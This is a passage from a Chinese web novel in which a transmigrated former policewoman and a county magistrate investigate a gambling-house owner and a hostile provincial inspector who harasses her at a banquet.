凉丝回道:“姑娘聪慧。”
对面沉默了半晌,而后才道:“我知道了。周德那边你不用盯着,反倒是周玥……刘世尧没有来要人,不知道他在打什么主意。”
她停顿了一下,吩咐道:“正好借着这个由头,将刘世尧底下的资产好好查查了。”
凉丝点头,得令正要下去,赵疏玉却猛然叫住他。
“怎么了姑娘?”
“你们不要大张旗鼓地去查,最好是由什么人去揭发刘世尧的恶行,才好。”
“赌坊……”赵疏玉埋头想了一下。
“逃不开一个赌字,有赌就有风险,有风险自然会出人命……”
“属下明白了。”
赵疏玉并没有将接下来的话说完,但凉丝也应该知道该怎么去做了。
李惟初派遣凉丝告诉他周德的事情却不把接回县衙,就是在告诉她有些事他不能明显地去做,还得要靠其他的力量。
而说不定……李惟初或许还想着什么赵疏玉猜不透的心思。
可她如今能猜到想到的也只有这些了。
她总觉得李惟初被贬县令之间的事情不是那么简单,而结合袁群毅的那番话,她便是更加十分笃定。
袁群毅说之前跟在李惟初身边的人几乎全军覆没,再结合如影说的那番话,她猜测,在李惟初从位极人臣到贬离京城三千里,这之间死了不少人,说不定只剩下一个维寻。
想及此,她便开口问凉丝道:“李惟初被贬江南为县令,想必一路上是说不尽的艰辛,你们跟着县令,真心诚然。”
凉丝却疑惑地蹙了一下眉,他似是有些不解赵疏玉的话。
他道:“姑娘想是误会了什么,属下是由维寻招募而来,那时主上便已是县令了……若说一路上一直跟着主上的,那应该只有维寻了吧。”
赵疏玉点了点头,她又问道:“维寻是怎么招募你们?”
她想到那些武侠剧里面,都是由比武定输赢。
用残酷的比武制度选拔出最优等的武士?
而且能招进李惟初县衙里的,绝不是什么江湖愣头青。
“就是……嗯,给了我一个包子。”
凉丝说完,还颇不好意思地摸了摸后脖颈。
包子?
赵疏玉满脸问号。
凉丝点了点头,他还是有些不好意思地骚了骚脸说道:“姑娘知道如影吗?”
赵疏玉点点头,狐疑地问道:“如影也是被一个包子招募进来的吗?”
他摇摇头,道:“他是为了一碗药汤。”
“为了一碗药汤?”
凉丝点头道:“他的祖母病了,那时候主上还没来,而原本的县令又锁紧粮仓不管事,闹了两年饥荒他家里人死了就剩他和他祖母两人了,没办法,他便悄悄集结了一个小队,挑了一个晚上放了一场火,县令被烧死了,主上紧接着来江南赴任,正好在路上听到这个消息,赴任时大放粮仓,解了江南百姓的燃眉之急。”
说到此处,凉丝的眼中不禁露出崇拜的神情。
“本是整个江南百姓处在水深火热之中,可不知怎的,主上一来,风调雨顺,不久便下了一场大雨……整个江南就又活了过来。”
“大开粮仓的时候,如影便和主上说,他能不能不喝他份量的白粥,换一碗汤药。主上知道这件事情后二话不说立刻给了他银子,白粥也照样给他。”
“所以他就投诚李惟初了?”赵疏玉问他道。
“不是的。”凉丝笑道,“他尽心侍奉在祖母身边,那时候的药钱都是主上给的,三月后他的祖母死了,主上还给他殓葬费……待一切都做完后,他披麻戴孝地敲响县衙门前的堂鼓。”
“敲堂鼓?”
凉丝点点头,他接着说道:“如影说他要承认他的罪行……呃,就是把前县令烧死那件事。但主上却说这件事是前县令不仁不义,他是仗义勇敢,所以不治他的罪……后来如影就一直待在县衙里,我们就在维寻
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的手底下。”
听罢这些,赵疏玉哦了一声,心中了然。
也就是说,李惟初从京城带来的人就只剩下维寻一个了。
其他的人都是后来的。
“姑娘是不是觉得主上有的时候很不通情理?”
凉丝觉得她问这些是因为李惟初很残忍的手段或者是冷冰冰很拒人千里的态度令她……疑惑或是害怕?
见赵疏玉不说话,以为是自己想对了,于是他宽慰道:“主上有的时候是这样的……但他是县令,是江南的父母官,若无威严怎能御下?姑娘不必害怕……”
赵疏玉点了点头,脑中的想法却与他的大相径庭。
李惟初的身边只剩下这一个人……那么,那些死去的人,是为了什么死的,怎么死的,被谁弄死的?
压下心底的疑惑,她对凉丝道:“我知道了。”
说完,她又想起什么,嘱咐凉丝道:“别忘了最主要的事情。”
“是。”凉丝领命后便退下了。
李惟初曾对她说过,他需要找一个接口去彻查刘世尧的赌坊,如今正是机会。
只不过袁群毅来者不善,赵疏玉也实在摸不清他此次前来的目的,而李惟初又不愿意告诉她,所以为了保险起见,做任何事还是需要小心谨慎。
毕竟她可不相信,若是有朝一日她落了把柄给袁群毅,李惟初会救她。
这条命,只有紧紧握在自己手里才最好。
远处的天边不知从哪里飘来一片黑沉沉的乌云,层层遮住太阳闪烁的日光,霎时间整片天地都暗了下来,透着喘不过气来的沉闷气息。
山雨欲来风满楼。
下一秒,赵疏玉只觉得耳边传来一阵爆鸣声。
“赵!姑!娘!救命!!”
周玥健壮的身躯一个滑铲跪到赵疏玉身前。
一个人影突然窜出来,赵疏玉下意识做出一个警戒的姿势,待看清来人后,她眸中的警惕才淡去。
被一抹景然代替,她问道:“你弟弟我已经吩咐人去照顾了,他……”
闻言,周玥心中的那块大石落地。
她站起身,像个男子一般对她作揖,豪爽道:“赵姑娘仗义,周某无以为报……家弟给姑娘添了不少麻烦,烦请姑娘见谅,待他伤好,我定将他揪到姑娘身前让他给姑娘赔礼道歉。”
说着,她的手便一把搭在赵疏玉的肩上,她一时间有点消化不了她的热情,身体僵硬了一刹。
周玥见赵疏玉身体有些僵硬,有些不解地问她道:“怎么了赵姑娘?不要赔礼道歉吗?那没事,找个机会我去山上捉只大雁给姑娘怎么样?就当做是谢礼如何?”
“大雁?”
“是啊。”她一拍大掌,好歹是离开了赵疏玉的肩膀,她大笑道,“你可是不知,在大吴,连将军都不一定能猎得大雁呢!嘿嘿!逮明儿我就给姑娘好好展示展示!”
赵疏玉有些尴尬地扯了一下唇。
她好像从来没有说过她要她给她展示什么……大雁?
不过听她的意思,大雁似乎是很不错的礼物……?
可她要大雁干嘛?大雁肉很好吃吗?她可从来没吃过。
周玥像是有读心术似的,她道:“把雁皮扒了做个大氅,冬天一到可暖和得不得了!从前我在家的时候家,冬天我们可是从来都不怕冷……”说到这儿,她似乎是想到了什么,她呢喃自语道,“母亲是最畏寒的,好多年没射过大雁了,今年一定要射一只给母亲做大氅。”
闻言,赵疏玉一顿。
她忘了,周玥不知道周氏夫妻吃砒霜自缢的消息。
“赵姑娘,你说怎么样?”
射一只大雁给她做大氅吗?
看着她满眼期待的样子,这让赵疏玉怎么拒绝呢?
只得答应。
“好。”
31. 那就让她给我做妾好了
与周玥说了半晌的话……不过几乎是她在说话,而赵疏玉有一搭没一搭地应着。
“赵姑娘,这巡抚一看就不是什么好人……”
“呃……”赵疏玉微微笑。
“赵姑娘,县衙的饭就是好吃啊。”
赵疏玉干笑一声,“是吧……”
“赵姑娘,这个县令为什么总是不笑啊,他是不爱笑吗?”
“……我不知道。”
“赵姑娘……”
“赵姑娘……”
“赵姑娘!”
一时间赵疏玉和周玥齐齐抬头望去。
这边话音未落,那边一声又起。
赵疏玉叹了口气,望向门外叫她名字的那人。
如影。
她抬了一下眸,望向窗外日薄西山的太阳。
近已黄昏。
赵疏玉起身问道:“是李惟初设宴了是吗?”
如影一愣,想起李惟初对他说的话,又惊讶于赵疏玉料事如神。
于是他道:“是,主上请你过去。”
赵疏玉点点头,她道,“是该过去。只是我不一定能帮上什么忙。”
周玥抱拳对她道:“既然姑娘有事,那周玥就先走一步,只是……”
她有些不好意思地挠了挠脑袋,说道:“那个,刚刚没问你,我什么时候可以去看看我弟弟?他受了不轻的伤。”
赵疏玉回头看了一眼周玥,她皱眉思索了一番之后才道:“刘世尧不知包藏什么祸心,袁巡抚将周德扔出县衙或许有他的想法……我建议你最好待在县衙里,毕竟刘世尧的手里有你的典妻文书。”
这句话似乎是深深打击到周玥,她的眸光有一瞬间黯了下去,随后又道:“我长得平平无奇,又是五大三粗的,声音也不好听,和那些瘦瘦小小的女子不一样,刘世尧典我回去,他图什么?”
赵疏玉见她这样自贬自怨,垂眸停顿了一下,回头认真地看着她道:“他典你难道是因为你的容貌好看吗?他不过是以你为一种手段,逼迫你的家人,你的弟弟乖乖就范,至于你若长得漂亮,自是最好,若不漂亮……他自是有办法磋磨你。”
“他敢!”周玥朝着空气重重挥舞了一下拳头,道,“我一拳把他捶地里当萝卜!”
赵疏玉笑而不语,转身离开了。
离开时,她道:“每个人都有自己的闪光点,你不必自怨自艾,助你之长处即可。身体发肤受之父母,又岂是你能够决定的?自卑只会使你陷入无穷尽的痛苦,这是无意义的。”
说罢,她也不再多言跟着如影走了。
她并不是个喜欢多说些各种大道理的人,这对于别人来说是一种负担,对自己而言也是如此。
因此,她点到即止。
突然,她脑中一转,想到周玥她不就是唯一活下来的未婚被典之人吗?
刘世尧敢这么张狂,定是料定李惟初不敢查,而他为什么能知道李惟初不敢查,也就肯定他与那些背后势力有联系。
如果通过周玥……能不能查出一些蛛丝马迹呢?
可如果是这样,周玥也可能会受到危险的吧。
可这是唯一的办法了。
正垂头思索间,如影便已将赵疏玉带到。
“姑娘,小心脚下。”如影轻声提醒道。
赵疏玉回过神来,抬头看向坐在上首的袁群毅和坐在左边的一桌的李惟初。
李惟初没什么朋友,裴长清又远在青州,怎么的也是不可能来参宴了,而这里的江南并不是什么鱼米之乡,反而资源贫瘠,水土稀少,堪堪能糊口罢了。
这最美味的佳肴,不过是水晶猪蹄。
而李惟初对待这场宴会也并不上心,袁群毅盘中的猪蹄更是只有一个。
赵疏玉人微言轻,只能坐于最后,离上首好一段距离。
也不知道李惟初把她拉过来干什么。
是为了再拉一个人来充场子吗?
正想着,上首传来闷闷的声音,似乎很是不悦。
“李县令真是御下无方?嗯?见本官不行礼是想吃板子吗?”
李惟初连忙低声训斥道:“疏玉,还不行礼?”
一听到是“赵疏玉”的名字,上首的人明显来了兴趣。
他眯了眯眼睛,似笑非笑地说了一句,“赵疏玉?那个与刘世尧当堂对峙的疑犯是吗?”
赵疏玉顿了一下,而后答道:“正是。”
袁群毅并不再看她,而是看向李惟初,问他道:“不知这女子是李县令的……贴身侍婢吗?”
这句‘贴身侍婢’从袁群毅口中说出来却不像是什么正经的词。
赵疏玉嫌恶地低下头,默默啐了一口。
而李惟初却滴水不漏地问他道:“不知巡抚问这个作甚?”
“自是求你恩典,让她……”
“袁巡抚。”李惟初声音沉沉,“故技重施很有意思吗?”
“可你不照样还是只能妥、协吗?”说这两个字的时候,他咬得非常重。
“你。”袁群毅不再给李惟初说下去的机会,指着赵疏玉便道,“过来伺候本官用餐,伺候高兴了,本官自有的赏你。”
李惟初袖下拳头紧握,脑中回想起那段无法忘怀的记忆。
他往前走出一步,挺着胸脯,方想说什么,却被赵疏玉一口打断。
“既是巡抚吩咐,岂有不应之理?”
赵疏玉抬头抛了个眼神给李惟初,示意他稍安勿躁。
他袖底下的手依旧紧紧握着,只是在赵疏玉的眼神之下,他按捺住自己,往后退了一步,重新坐回位置上。
赵疏玉嘴边勾起一抹弧度,眼中却无半分笑意。
她学着电视里那些舞姬的模样,倒了一壶酒给袁群毅。
随后又含笑晏晏地将酒杯递给袁群毅,道:“巡抚慢喝。”
袁群毅对她这样的态度感到很满意,于是点点头,眼神中带着点得意地看向李惟初道:“你这小婢女被你调教得可真好,嗯?虽说是瘦了点,但皮相确实不错。”
“她不是婢女。”李惟初冷冷道,桌上的饭菜没动一筷。
“袁巡抚,还请慎言。”
袁群毅冷笑一声,看样子,这李惟初还挺在意这小婢女。
这样的话,似乎就更好玩了呢。
“她既不是婢女,难不成离京三年,便已娶妻了吗?令尊令堂可曾知晓?”
袁群毅挑眼又看了一眼李惟初。
只见李惟初的指尖泛白,眸中一沉,他一记飞刀看向袁群毅,无声的硝烟在二人的眼神触碰中炸出火花。
这一句话似乎是从李惟初的唇齿之间挤出来的,“劳巡抚关怀,李某尚未娶妻。”
“既未娶妻,那便正好不是?本官今日便纳了她做妾,你道如何?”
说着,袁群毅一把抓住赵疏玉的手将她往怀里扯。
而赵疏玉却低着头蹙眉,实在搞不懂这个袁群毅究竟在搞什么鬼。
而同时,她默不作声地也在观察试探李惟初的态度。
他会不会保她。
空气似乎沉寂了一秒,李惟初站起来,作揖向袁群毅倾了倾身,道:“巡抚见谅
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。巡抚有所不知,此女并非贱籍女子,而是良民。光天化日之下,可从未出现过巡抚涨势逼人,强抢民女的事情发生……江南百姓若见此,想必会对巡抚到来的动机有所怀疑,且此事若被有心之人传入朝堂,恐对巡抚的官声有所影响。”
袁群毅低头想了想,似是自觉没有什么可反驳的道理,于是只好松开手,但他亦不服气,却也挑不出李惟初礼仪上的错处,只好将一腔愤怒都发泄在这满桌的菜肴上。
“这哪里是给人吃的东西!”
“啪”的一生,袁群毅将赵疏玉递来的酒杯狠狠一砸,正对着赵疏玉的脑门撒气般砸去。
砸得还正好是前些日子额头破了的地方,这好不容易头上的伤疤见好,如今被这么一砸又破了皮开来。
赵疏玉咬紧牙关,一声闷哼都没出。
她早就习惯性忍耐。
只是这巡抚又在发什么疯?
赵疏玉眼神示意李惟初稍安勿躁,且看着袁群毅究竟要打什么主意。
可很快,赵疏玉便反应过来了。
他这是挑不出李惟初的错,想激他与自己争执,好让自己有可乘之机。
不过他这想法也太露骨了些,稍加思索便能都想出来。
可是李惟初向来礼仪周全,任袁群毅怎么做他一点差错都没出。
只是惨了赵疏玉,袁群毅似是故意当着李惟初的面羞辱她。
她几次都想邦邦给这个袁群毅几拳,只是想到自己的计划还没有完成,再者,如果真这么做,想必李惟初也不能幸免,于是她只好忍着。
她要搞清,袁群毅究竟为什么这么恨李惟初。
一场宴会下来,李惟初动的筷屈指可数,而上首袁群毅的心思也并不在吃饭上面。
袁群毅见自己怎么做赵疏玉都是一副闷声不吭的样子,顿觉无趣,看向外面的天色已晚随便找了个理由退场了。
一室之内,又只剩下李惟初和赵疏玉。
她擦了擦脸,有些吃力地站起身,身后却突然被一股大力托起。
“之前给你的药膏怎么没上?”李惟初在背后轻声问她道。
赵疏玉轻声叹了口气,她用袖子胡乱擦额头上的血迹,却被李惟初一把抓住手腕。
她皱眉问道:“你做什么?”
“回答我。”
“那时候太忙了……接二连三的事情层出不穷,我哪里还记得?”
身后那人沉默很久,终于问出一句丝毫不相干的话。
“你想留在这儿吗?”
赵疏玉几乎是想也不想,立刻答道:“是。”
“为什么?”
“我还有事情没有做完。”
“你是指什么?那二十七个女子的典妻案吗?”
赵疏玉摇摇头,“我是为了找出我自己的真相。”
“那个被我杀死的男人,把我捉进废弃小院,又将我绑进马车里的那些人他们究竟是谁?”
“以及,那十一个女子,怎么会莫名其妙地全部消失?她们都去了哪里?我想要查出真相,我想要还她们一个真相,我不想让任何一个人含冤而死,这是我从始而终的信仰。”
李惟初放开了她的手,他站在赵疏玉的身后,她也没有回头去看他,二人就这样站了不知多久。
还是李惟初率先打破了沉寂。
“不要用手去蹭你的伤口,会感染。”
说着他便转身走,回头看了一眼赵疏玉。
她也会意跟了上去。
“你带我去哪里?”
“你一会儿就知道了。”
32. 沉水香的味道很安心
跟着他走过弯弯绕绕的小路,率先出现在眼前的是一颗槐花盛开的槐树。
夜晚微凉,夏末的凉风阵阵吹在赵疏玉的脸上,槐树绿叶簌簌,一串串白色的槐花垂在树枝上。
又是一阵风吹来,吹起赵疏玉背后一片不适之感。
槐树种植的位置正对李惟初房屋的门,纵然是她从来不懂也不信风水,此时心下也不禁一惊。
古时候的人都很忌讳“不吉利”,而槐树自古以来被称作鬼树,平常人家看见槐树,尤其是在夜晚,都唯恐避之不及怕遇上什么不吉利的东西,而李惟初却是明晃晃地将它种植在自家门前?
人家门前种柿子树,求事事如意。
他门前种鬼树,求什么呢?
明显是感觉到赵疏玉看着槐树微妙的目光,李惟初错开眼,平静地看了一眼槐树,而后问她道:“漂亮吗?”
……漂亮吗?
赵疏玉一顿,这话问她是什么意思?
她不确定这里的世界和她曾经在的世界会不会有什么地域文化差别,万一他们这儿是种槐树求吉,忌讳种柿子树呢?
只得试探先说道:“我从小是孤女,不知门前种槐树是吉是忌,所以不知该如何作答。”
闻言,李惟初却是不着人意地轻叹了口气,“我只问你是否好看,和是吉是凶有什么关系?”
赵疏玉仍旧缄默不言。
末了李惟初见她不说话,只落下一句:“木鬼为槐,自不是什么好的寓意。”
看来这件事情上,和她的世界并没有什么差别。
赵疏玉点点头,她问道:“既知不是什么好的寓意,又为什么栽这颗树呢?为官之人似乎都很信佛,最忌不吉的事情,你不怕影响官运仕途吗?”
李惟初忽然驻足停下,立于槐树之下,而赵疏玉则跟在他旁边,见他停下脚步,自己也停下了。
李惟初望着被风吹得渐渐飘落的白色花瓣,他伸手接住,失神了片刹。
“因为……她很喜欢。”
她?还是他?
赵疏玉试探开口问道:“那个人是你的心上人吗?”
李惟初没有回答她,只是有些落寞地垂下双眼。
“影响仕途?”李惟初嗤笑一声,似乎很不屑,“我倒真希望,我从来都没有考上,从来都没有为官做宰的梦想。”
“我李惟初从不信神佛妖鬼,只信自己。”
说完这一句后,他将手中接住的那片小花瓣移到嘴前,轻轻吹了一口气,白色小花瓣随着他的气息飘向远方,又在更强劲的风力下吹向反方向,这小花瓣进退两难,最终焉哒哒地左右摇摆落在地面上。
他不再言语,抬起脚步进了屋中。
赵疏玉从来没有进过他的房间。
李惟初的房间很简单,一个小屏风隔住了内室与外室,整个房间里并没有那些玉器花瓶,而是古色古香的书架上放满了书籍,一层又一层,摆放得整整齐齐。
正对屏风的墙面前落座着一个衣柜,想必李惟初平素里的衣裳都是在那里挑选。
李惟初似乎很喜欢穿紫色的衣裳,大多都是深紫,绛紫,或是深黑色,总之是比较深色系的衣裳。
倒也很符合他的气质。
一室之内,一个小香炉熏着熟悉的沉水香,香气化作白雾,聚集着飘在香炉上空,摇曳着迷人的身姿。
赵疏玉在原来的世界就不喜欢香水,穿进了古代也是对香料没什么好感,只可能是对这沉水香闻得久了,闻得多了,就算是不喜欢也不排斥了,只能算是无感。
李惟初一进屋中就直奔内室而去,只听一个屉子开关的声音,他的身影又出现在赵疏玉的身前。
彼时,她正坐在桌前的凳子上。
见他出来,手中又多了一个药瓶似的东西。
赵疏玉不解地问他道:“你拿的这是什么东西?”
李惟初却默言地走到她面前,将药放到赵疏玉面前的桌子上,对她道:“上药。”
赵疏玉却是顿了一下,随后往他整个房间张望起来。
“你在看什么?”
赵疏玉有些无奈道:“镜子,不然我怎么上药?”
“没有镜子。”李惟初拿起药瓶,将手抚在她还在东张西望的脸上,右手将她的脸掰正。
赵疏玉的目光所及皆是李惟初那张冷峻如冰的脸,那双乌黑深邃迷人的双眸泛着危险的色泽,好似能将她吸进去一般,她目不转睛的盯着他,似乎同他一齐沉沦。
可下一秒脑门上的疼痛刺激得她立马回过神来。
“嘶……”
赵疏玉一不留神轻声叫了出来。
“疼了?”李惟初启唇平缓仿佛很漠视地说着,可动作上却是缓缓放轻,“看你方才在席间上一声不坑,连血流到脸上连眼睛都不眨一下,还以为你是一点都不疼呢。”
“我又不是石头,怎么会不疼。”
温热的气息吐洒在赵疏玉的脸上,独属于李惟初的沉水香气霸道地包裹着她的全身,这样的香气竟让她想起药玉坊那回,他们以摔器为暗号,让她没想到的是他在自己刚摔的那一瞬间就已经出现在她的身后。
莫名的,她撇过脸去,不愿他看见自己吃痛受挫的摸样。
而李惟初却是轻轻捏着她的两个小脸蛋,将她的脸转了过来。
唇齿间吐出的气息有意无意地扑洒在赵疏玉的脸上,他专注地为她上药,轻声道:“别乱动,到时候又疼我可没心情再给你上一遍。”
正上药间,赵疏玉忽然来了一句,“你明明可以不阻止袁群毅纳我做妾的,是吧。”
李惟初一挑眉,他上药的手也是一顿,道:“还真是什么都瞒不住赵姑娘。”
“我若能进袁群毅的府邸,便可接触到那些达官贵族们……我虽然不知道你的计划和想法是什么,但我感觉如果我这样做了,对你来说是诸多裨益。”
李惟初并没有说话,只可见的,他的吐息有些不稳,赵疏玉明显便感觉到了。
“你知道什么,但我不知道,对吗?袁群毅这么针对你也是因为你知道什么,对不对?”
李惟初终于停下手,他往赵疏玉的头上用手指节轻轻敲了一下她的脑袋,道:“上药的时候不要说话。”
“为什么?”
“这自是我们这儿的礼仪。”李惟初停下手,看着赵疏玉那双清澈不懂的双眼,无奈地叹了口气。
“在大吴,上药的时候说话,女子以后便会嫁给一个病恹恹的郎君,脚不离地,日夜侍奉,年纪轻轻便要守活寡。”
“那男子呢?”见李惟初沾了些药膏又想涂在她的伤口上,趁他在沾药的期间问他。
李惟初却是一愣,歪头思索了一下,而后摇摇头,他道:“这倒是不知,只知道娘曾说扔柴火烧锅的时候,火越旺,家就越旺。”
赵疏玉“哦”了一声,点点头。
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>“那我这一辈子不嫁人,那不就不用怕会嫁给一个病秧子了吗?”
闻言,李惟初却是一愣,而后很疑惑地抬头看了她一眼,似乎她说这一席话很荒谬的样子。
“姑娘家哪有不嫁人的?且不说在大吴女子22岁仍未嫁便要罚银下狱,若不相夫,女子也无法抛头露面,日后没有任何立足之地,如何生存?”
“再者,若有兄弟在堂,肯养你一辈子倒也罢,就你现在这么个小孤女,谁养你?”
看着赵疏玉渐渐沮丧,垂头丧气的脑袋,李惟初又捏着她的两个脸蛋将她的头抬了起来。
“上药。”
上药时,他悄悄地捏了两下她的小脸,仍旧时瘦得脱相,这一摸就摸到了骨头,并没有多少肉。
上完了药,李惟初转身将药收了回去,待他再走出来时,赵疏玉又是一脸审视地盯着他。
“你刚刚为什么要转移话题。”
李惟初面色无常地走到她对面坐下,给自己倒了一壶茶,茶香四溢,但赵疏玉闻得这茶味甚苦。
仰头喝下后,李惟初的眼神瞬间又变得十分冷漠。
“知道那么多,对你有什么好处吗?”
“那你告诉我,不让我知道的事情究竟有多危险。”
赵疏玉有的时候想,李惟初知道很多事情,但他却选择隐瞒,就包括沈怀夕的事情,一开始,他并没有告诉自己那么多。
那么他究竟在隐瞒什么,又要查明什么?
“周德被杖打三十大板,沈怀夕的死,窦扬和春禧的死,虎鸣和他母亲的死,二十七个女子的死,还有……”李惟初紧紧捏着茶盏,眯了眯眼,一瞬不瞬地盯着赵疏玉。
而她也不甘示弱地与他对视。
“那十一个失踪的女子背后的真相。”
“它的危险已经使那么多人丧命,你以为他们想做什么?”
“隐瞒真相。”赵疏玉盯着他一双眼光射寒星的双眸,“种种举动,自然是为了销毁真相。”
“你既然知道,又为什么还要再问?”
“就是因为我知道,所以我才要问。”赵疏玉垂眸想了想,道,“凉丝按你的吩咐已经去彻查赌坊,而周玥……她是唯一一个活着的未婚典妻,我们或许可以从这儿下手。”
“你玩过摸乌龟吗?”赵疏玉问道。
李惟初垂下眸,并不答,手中捏着茶杯语气还算平稳地问她道:“你想说什么?”
“以周玥为饵,钓出刘世尧背后的势力。袁群毅不过是明面上的牌而已,也就是明乌龟,直接一枪……一锤头杵死就没事了。最主要的是刘世尧身后的那只暗乌龟,操控着这一切的人,只有知道真正的幕后是谁,我才能为那二十七个女子,为死去的所有人报仇。”
李惟初眸光沉沉,眸色意味不明地看着她,问她道:“你若是一意孤行,会有多少为此丧命你知道吗?连你自己的命都……”
“我如果不做,就会有千千万万个像周玥那样未婚的典妻,她们何其无辜,凭何要遭受这样屈辱非人的对待?”
李惟初蹙眉,一双剑眉浑如刷漆般紧紧拧起,他的目光十分复杂地盯着赵疏玉,问了一句很刻骨铭心的话,“她们是死是活,和你有半分关系吗?你大发什么善心去为她们伸冤?何况现今你连你自己都保护不了,又怎么去救她们?”
赵疏玉方想反驳,门外却传来维寻的声音。
“主上,袁巡抚来了。”
33. 巡抚出击(1)
“好了。”李惟初支起身子理了理两边绛紫色的袖袍,冷冷吩咐道,“你可以走了。”
“你还没有告诉我……”
“你不需要知道这些。”李惟初背对着她,语气斩钉截铁,“维寻,赶她走。”
维寻得令之后,面无表情地走到赵疏玉身前,伸出一只手做了一个“请”的姿势。
“赵姑娘,请。”
赵疏玉忿忿看了他一眼,见他态度刚然,无回旋之地,她轻剁了一下脚转身离去。
她曾为警时,最愤恨那些作恶多端之人逍遥法外,她就算是三天三夜不眠不休,也要将这些罪人绳之以法,让他们体会到自食恶果的报应!
可是如今她无名无分,想查什么处处受限制,线索也是断断续续,一团浆糊。
奸邪不除,这世道何来安定。
如今夜已深,维寻在其身前为她掌灯,而她在后面慢慢跟着,心下主意落定。
锦夏是老远就等在鹤芳苑门口,焦急地等待赵疏玉回来。
她是一个奴婢,没有主家传召她是不能随意就到堂前,况且如今袁巡抚又大驾而来,整个府上的气氛就更加凝重了。
她的身份低微,幸得赵疏玉不嫌弃她,没有向李县令揭发自己那晚当值不力的事情,否则……她哪里还能见到今天的太阳。
见远处有一盏摇摇晃晃的小光点缓缓向她走来,近了才知那是一个小灯笼,卖力地展露出自己的光芒,为主人们照亮前方的路。
“赵姑娘,属下奉县令之名,既已安全送到,属下就先告退了。”
不等赵疏玉回答,他便冷着脸转身走了。
可赵疏玉知道他并没有不耐烦,只是跟他主子一个样而已,天生面瘫。
锦夏一看见赵疏玉便叽叽喳喳地跑到赵疏玉身边,将她上上下下,仔仔细细看了个遍。
突然,她瞥见赵疏玉脑袋上的伤,叫了一声,“哎呀!赵姐姐你怎么受伤了呀?有没有事,啊呀我真是糊涂了,这可是破相了呀怎么会没事……”
赵疏玉拍了两下她的手,安抚道:“放心,你们县令已经给我上过药了,无碍的。”
锦夏一愣,紧接着又急迫道:“是县令欺负姐姐了吗?我我……”
她脑袋里想了一圈,可都是自己做不到的事情。
她做不了给赵疏玉报复打回去,她只是一个身份低贱的小婢女,还得要在县衙里讨生计,若是得罪了县令……
自己一定会被赶出去。
一个被县衙厌弃的婢女,又有谁会要呢?
想及此,她垂下眸,眼眶里瞬间便蓄满了泪水。
“赵姐姐对不起,我,我不能帮你主持公道……对,对不起呜呜呜。”
赵疏玉脑中仍在盘算着那二十七女失踪案,不知是不是自己错过了什么信息,锦夏怎么好端端的哭了呢?
她承认自己在思考问题的时候会下意识屏蔽外界,所以……是不是自己错过了什么。
她两眼懵然带着些疑惑的清澈,问锦夏道:“那个……你刚刚有说什么事吗?你被府里人欺负了?”
锦夏努了努嘴抽噎地摇摇头,哭嗒嗒道:“对,对不起疏玉姐姐,我不能帮你去打县令,我我害怕会被他赶出府。”
“打李惟初?”赵疏玉一脸懵圈地问道,“为什么?你跟他有仇吗?”
锦夏摇摇头,眨巴眨巴湿漉漉的小鹿眼,揉揉眼睛道:“赵姐姐的额头不是被县令打伤的吗?”
“啊?不是他呀,你想哪去了?”
“哎哎哎?不是县令吗?”锦夏又眨了两下眼睛。
赵疏玉摸了摸锦夏的头,无奈地摇头笑了一下,“不是他,是袁群毅。他想刁难李惟初,却没法直接刁难,只能从我下手,既想试探他也是想引他跟自己争吵从而使自己好耍威风而已。”
锦夏紧了紧小拳头,愤愤然道:“袁巡抚可真可恶!”
忽然,她眼光一闪,嘴角扬起一抹微笑,道:“哼,我想到办法了!”
“办法?什么意思?你要做什么吗?”赵疏玉的脑子还是有些处于宕机状态。
锦夏却笑着摇摇头,一个劲把赵疏玉往屋里推,边推边说道:“如今天气渐渐冷了下来,我给姐姐煮了一壶暖身健身汤,快尝尝味道怎么样!”
赵疏玉一进门就被她牵拉着坐下,往她手里塞了一壶暖身健身汤。
锦夏两眼冒星星一般盯着赵疏玉看,见她将这汤药喝得一干二净,兴冲冲问道:“怎么样赵姐姐!好喝吗!?”
赵疏玉尝了几口,从口中吐出一根骨头来,肉质香滑细腻,鲜而不腥,隐隐还透着一股淡淡的苦药味,之后又瞬间被一股甜甜的味道中和,待排骨落肚,口中只剩下红枣甜蜜的味道,再不闻苦味。
她这是第一次吃这种奇怪却莫名好吃的东西,依着有些新奇,便又多吃了几口。
待一盏落肚,她这才想起来要回锦夏,她并没有过多的赞扬,只道:“好吃。”
可并不需要她夸得天花乱坠,她的行动已是在向她表明这盅党参红烧炖排骨的鲜美。
见赵疏玉真心喜欢,锦夏便也心满意足地道:“赵姐姐若是喜欢吃,那我以后天天给姐姐炖。我记得爹娘说过,夏天尤其是夏末的时候,一定要吃些暖胃暖身的东西,这样一整个冬天都不怕冷了。”
“这是你爹娘教你做的吗?”赵疏玉将手中那已经被她喝完的小盅抬了一下。
锦夏抿着唇干笑了一下,“是也不是,爹爹和娘亲很早就不要我了,他们说家里刚养下弟弟,家里容不得再多一张嘴了。”
赵疏玉垂眸,眼神中不知闪过什么情绪,再抬头时她伸手轻轻摸了一下锦夏的头。
“他们或许是有自己的苦衷吧,他们做了错误的决定,可你不能自轻自贱,甘愿卑微,知道吗?”
锦夏苦笑了一声,她点点头道:“知道了。”
可贱籍的身份伴随她的一生,她的子子孙孙也挣脱不掉贱籍的身份,她已经被“卑贱”一词定了众生。
不对……
她已经被剥夺了做一位母亲的权利了。
“不想这些不高兴的了,赵姐姐这道菜叫做党参红枣炖排骨,我还知道其他药膳,我做给姐姐吃好不好?”
赵疏玉淡淡地牵了一下嘴角,淡笑道:“好。”
过了不久,锦夏将房里的等全吹灭退下之后,只有黯淡的月光透过关闭的窗棂黯黯地照在赵疏玉的脸上。
她一个人坐在床上眉头紧蹙。
今晚袁群毅又找李惟初什么事情?是关于周德,还是周玥?……亦或是,关于自己的什么吗?
回忆着席间他在自己腰上游走的一双贱手,她汗毛直竖恨不得一枪崩了他。
可袁群毅留着还有用,他下江南必是知道那二十七女已死的消息,这么急匆匆地赶过来十有八九是和这二十七女有些联系。
而周玥也是未婚典妻中唯一幸存
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下来的女子,这二者相结合,说不定能探出些什么东西来。
李惟初不肯查,那她就逼着他查,她迟早要将这一切都揭开,让这一切都水落石出。
想着想着,她便昏昏欲睡了过去。
不是她的极限,而是这具身体的极限。
待一早上醒来时,门外传来一长串很急促的敲门声。
“赵姐姐,赵姐姐!今早有人大闹赌坊,口中还一直叨叨着还妻的话,赌坊里来了人把他弄了进去,还把人打了个半死!紧接着县令身边的凉丝将赌坊围了起来,把寻衅滋事的一干人等全部押回县衙。”
赵疏玉睡觉不换衣服,是从做了警察开始,每夜万一有什么突发任务,她外套一批就能上路,如今也是一样。
她将将宝蓝色外袍一套,连发髻都没整理,顶着有些炸毛的头发迅速打开门,问道:“什么时候的事情?”
